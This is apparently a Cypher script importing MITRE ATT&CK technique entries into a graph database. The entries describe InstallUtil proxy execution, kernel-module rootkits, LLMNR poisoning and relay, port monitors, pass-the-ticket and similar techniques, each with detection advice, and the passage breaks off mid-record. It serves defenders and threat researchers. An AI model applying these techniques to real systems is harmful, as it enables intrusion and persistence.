UNWIND [{_id:822, properties:{hashes:[], description:"", external_id:"CAPEC-93", external_reference_id:"4ebb1904-a454-46a5-a0d4-59e0219b1704", source_name:"capec", url:"https://capec.mitre.org/data/definitions/93.html"}}, {_id:796, properties:{hashes:[], description:"FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", external_id:"", external_reference_id:"f1cef2d8-abd3-4bd6-810a-be958ad199d3", url:"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", source_name:"FSecure Hupigon"}}, {_id:797, properties:{hashes:[], description:"Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", external_reference_id:"de701a60-bc3c-42dc-85c9-bc8e597c9b2b", external_id:"", source_name:"Symantec Ushedix June 2008", url:"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"}}, {_id:798, properties:{hashes:[], description:"Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", external_reference_id:"95e7d8ac-b5ec-4a0d-8e75-1f70626bd658", external_id:"", url:"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", source_name:"Microsoft Silent Process Exit NOV 2017"}}, {_id:799, properties:{hashes:[], description:"Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", external_id:"", external_reference_id:"526dc050-7f70-4957-85d5-e4873b6de29d", url:"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", source_name:"Oddvar Moe IFEO APR 2018"}}, {_id:800, properties:{hashes:[], description:"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", external_reference_id:"e2dbdb0c-5393-4380-bfb9-f80b8da1c60e", external_id:"", source_name:"Endgame Process Injection July 2017", url:"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}}, {_id:1450, properties:{hashes:[], description:"", external_id:"T1180", external_reference_id:"1afcdb79-6475-4bce-89c5-5b8ca7607674", url:"https://attack.mitre.org/techniques/T1180", source_name:"mitre-attack"}}, {_id:1451, properties:{hashes:[], description:"Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", external_id:"", external_reference_id:"948e71ec-ad98-48ef-bb80-7adba0dbb33b", url:"https://en.wikipedia.org/wiki/Screensaver", source_name:"Wikipedia Screensaver"}}, {_id:1452, properties:{hashes:[], description:"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.", external_id:"", external_reference_id:"dc5de63a-717a-4b9e-8db3-4489260d365b", url:"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", source_name:"ESET Gazer Aug 2017"}}, {_id:422, properties:{hashes:[], description:"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", external_id:"", external_reference_id:"51d4d991-e6d1-4343-82ca-cafcdc64561c", url:"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", source_name:"FireEye WannaCry 2017"}}, {_id:423, properties:{hashes:[], description:"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", external_id:"", external_reference_id:"6cc96cfb-78c8-4a2e-826f-a6185b5e954c", url:"https://www.us-cert.gov/ncas/alerts/TA17-181A", source_name:"US-CERT NotPetya 2017"}}, {_id:424, properties:{hashes:[], description:"US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", external_id:"", external_reference_id:"dce63e8e-7bae-4700-a555-5e9447b7eca9", url:"https://www.us-cert.gov/ncas/alerts/AA18-337A", source_name:"US-CERT SamSam 2018"}}, {_id:396, properties:{hashes:[], description:"", external_id:"T1002", external_reference_id:"62718736-9b6e-43bd-8372-c0715b046885", url:"https://attack.mitre.org/techniques/T1002", source_name:"mitre-attack"}}, {_id:391, properties:{hashes:[], description:"", external_id:"CAPEC-641", external_reference_id:"14bf4f10-cebd-42ae-9864-c41fb1f56cc6", source_name:"capec", url:"https://capec.mitre.org/data/definitions/641.html"}}, {_id:406, properties:{hashes:[], description:"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", external_reference_id:"d26416ba-73b3-48bb-a795-1f258d2e649d", external_id:"", source_name:"Talos Olympic Destroyer 2018", url:"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:865, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:27.510Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Process whitelisting\",\"Digital Certificate Validation\"],\"x_mitre_version\":\"1.2\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\",\"x_mitre_contributors\":[\"Casey Smith\",\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_remote_support\":false}", description:"InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"InstallUtil", modified:"2019-07-31T18:11:14.192Z", kill_chain_phases:["9975a035-b7ee-4b03-ba72-2e9967ac666d", "14138d58-dcf1-490f-9a35-c8185f8f8967"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", external_references:["8ca146af-23a6-475a-b42b-68d76172d0be", "4b70c52c-8524-4a3d-9036-814d915fd76c", "ee55af5b-8a55-48e8-8731-39ca15d98343"]}}, {_id:886, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"System calls\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n\\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \\nThese are typically obtained through the operating systems package manager and installed like a normal package.\\n\\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\\n\\nOn Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>\\n\\nOn RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\\n\\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\\n\\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.\",\"x_mitre_contributors\":[\"Jeremy Galloway\",\"Red Canary\"],\"x_mitre_permissions_required\":[\"root\"]}", description:"Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Kernel Modules and Extensions", modified:"2019-07-18T15:24:28.077Z", kill_chain_phases:["8c9b9a64-d0a9-4ff4-9edd-cb4a34b4291c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", external_references:["3441710a-7086-4e4a-9e32-4b3434bf9b41", "8260bdfb-785b-40a5-acf2-787c59ca9cbb", "659b7ff2-e1ad-48d5-9bbd-1d9ae8d8dacd", "dfe6845b-3ce6-4439-ab46-e300bcc43353", "dde74863-d2d4-4e92-8194-5bb8b061c35e", "77920f6f-7e41-435a-97c8-7e6346b0971d", "8f219385-abc0-4a42-816c-9e4914373670", "512ce582-39a6-4f40-bb92-0795747be17a", "328a8774-e509-46a4-8e72-aa21048c181a", "19da1674-68c6-41f3-ae4f-e42103934864", "d30405c4-e6ef-48a4-bedc-5b0622df2f15", "d1c4a319-bf06-4f73-97c8-5526d8b267f5", "878eee29-0d28-4798-8246-ee2ba44c4ec5"]}}, {_id:906, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"Binary file metadata\",\"Process monitoring\",\"Process command-line parameters\",\"File monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"LC_LOAD_DYLIB Addition", modified:"2019-07-18T15:28:31.679Z", kill_chain_phases:["7e5c620d-ec28-4df4-8acd-96260ae5c233"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", external_references:["ced8b6ab-9f2a-4040-8c4b-85edaa32b839", "4208d7ec-0627-4686-b209-6f6273318b7a", "9da3e41d-c7d3-4365-83a2-910b75cb0830"]}}, {_id:911, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"Binary file metadata\",\"Malware reverse engineering\",\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\",\"Process whitelisting\",\"Whitelisting by file name or path\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"LC_MAIN Hijacking", modified:"2019-07-18T15:29:32.364Z", kill_chain_phases:["452678c3-4ec1-4555-ad5a-b024ded4e92a"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", external_references:["93152498-a9b5-48f0-8c5a-09a83d0539e3", "e183be94-9b72-4b6e-8cdd-4c3b2f81e9bf", "10d0f32d-8dc2-4ed7-9e89-cb0607145835"]}}, {_id:916, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Windows event logs\",\"Windows Registry\",\"Packet capture\",\"Netflow/Enclave netflow\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"Monitor <code>HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient</code> for changes to the \\\"EnableMulticast\\\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\\n\\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\\n\\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)\",\"x_mitre_contributors\":[\"Eric Kuehn, Secure Ideas\",\"Matthew Demaske, Adaptforward\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"LLMNR/NBT-NS Poisoning and Relay", modified:"2019-06-25T13:11:17.247Z", kill_chain_phases:["9ab149cf-cfab-4a4c-94b2-b66332b64f09"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", external_references:["ec63e246-275d-41b4-9b12-f519dab41be3", "b281020e-b2de-4ef9-bf55-c33b8a69ef56", "b2b12eac-3750-4ac1-86f4-b54241ed8ad1", "44ba83e1-0e6c-4f3c-a5b9-74aa6f4aaa0d", "5b6f2081-2abb-4ab0-9ac3-d12e2dcf775c", "2b23558e-dbef-4eb4-8eeb-1f1e4f9a2b49", "dd4861f9-16b9-414d-9628-43d947f62cae", "94431c66-cb45-4c8a-810d-777fe4cfa892", "027ae531-aa46-4d9e-9766-3b437e2aac5f", "27734809-4ab8-4b8e-a641-2217354cff58"]}}, {_id:1212, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\",\"Process whitelisting\",\"Whitelisting by file name or path\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \\\"Knock Knock\\\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\\n\\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Plist Modification", modified:"2019-06-25T11:58:11.559Z", kill_chain_phases:["14429531-689a-4ab4-97e5-cebf9e5972d7", "ef62f892-320d-4390-8d78-6af26c463688", "b1a2de4a-e799-4f72-af0c-06c9a429c727"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--06780952-177c-4247-b978-79c357fb311f", external_references:["0e1edc1d-2f86-4665-b2c1-45f3eee71a4a", "c30320ca-a585-40ad-831f-d52f40dd15c8"]}}, {_id:1218, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Packet capture\",\"Netflow/Enclave netflow\"],\"x_mitre_defense_bypassed\":[\"Defensive network service scanning\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Port Knocking", modified:"2019-07-18T17:11:15.521Z", kill_chain_phases:["38871bd6-188d-4664-b473-b0a8fa09e421", "b593ecec-3094-44e3-873d-c5b2b8ed790f", "19774ba7-276a-499e-8c93-a512930fa2fb"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", external_references:["8e9bca2a-9d0f-498e-b539-359fb0e55ae1", "04f52708-0057-4755-8dad-780ba4de0219"]}}, {_id:1224, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:26.057Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_effective_permissions\":[\"SYSTEM\"],\"x_mitre_data_sources\":[\"File monitoring\",\"API monitoring\",\"DLL monitoring\",\"Windows Registry\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"* Monitor process API calls to  (Citation: AddMonitor).\\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\\n* Monitor Registry writes to <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors</code>.\\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\",\"x_mitre_contributors\":[\"Stefan Kanthak\",\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Port Monitors", modified:"2019-04-03T15:01:55.103Z", kill_chain_phases:["48de9d42-42f1-44cb-b49f-0fe90506aca7", "7b9fc749-6198-4b3b-b68c-0a88a00bc7f2"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", external_references:["d35cd500-9e9c-4e72-9142-4a3d8f6eeb0b", "c2c0dd9a-63ba-4637-89ad-451963db6b39", "e26ef657-5f89-4cdf-8d46-f2798399c4fb", "89065ba3-8e4d-427c-be54-765be4219f0e"]}}, {_id:1231, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:06.512Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"PowerShell logs\",\"Loaded DLLs\",\"DLL monitoring\",\"Windows Registry\",\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n\\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n\\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"],\"x_mitre_remote_support\":true}", description:"PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"PowerShell", modified:"2019-07-18T17:15:10.564Z", kill_chain_phases:["9b48dc70-2092-44f8-8b40-35b1234b3d9e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", external_references:["b5c38303-b993-424e-be58-5581b252b1cf", "3dbae6b1-53e6-4299-bfff-0554ebd43f99", "45d712b3-3ee7-47cb-87e2-88003cdb131c", "96f13a77-d3aa-4df8-ab2b-c1392710f2e7", "29768e71-dcb2-40f5-ad2d-a116a50ad252", "bdb48e21-a461-44e0-97df-bca21fb751a3", "cae4cf1c-2841-4359-818a-33e75bca8f5a", "689412ce-9f28-4ba4-b93a-b3fb99b6d020", "49d3796d-c965-463b-ba84-c4a4de5180de"]}}, {_id:1168, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:11.623Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Authentication logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\\n\\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \\\"Integrity check on decrypted field failed\\\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\",\"x_mitre_contributors\":[\"Ryan Becwar\",\"Vincent Le Toux\"],\"x_mitre_system_requirements\":[\"Requires Microsoft Windows as a target system and Kerberos authentication enabled.\"]}", description:"Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Pass the Ticket", modified:"2019-07-18T16:59:03.741Z", kill_chain_phases:["0edc169c-1ac8-4ec6-9534-65e8722fa303"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", external_references:["1d032985-c28c-4dec-bbd2-62a75a0ef31e", "c474c7ff-930d-4c17-8c63-41a9fd281f7e", "9fde9d07-48da-4881-81fd-451adf490773", "f1f7e8d2-d432-4190-9d10-25cac7ec4830", "b6edce4b-2e36-4121-badc-be6546912dc8", "dc84a456-05d9-4511-874c-10d47040fe3b"]}}, {_id:854, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:42.750Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"SSL/TLS inspection\",\"Digital certificate logs\"],\"x_mitre_defense_bypassed\":[\"Digital Certificate Validation\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on 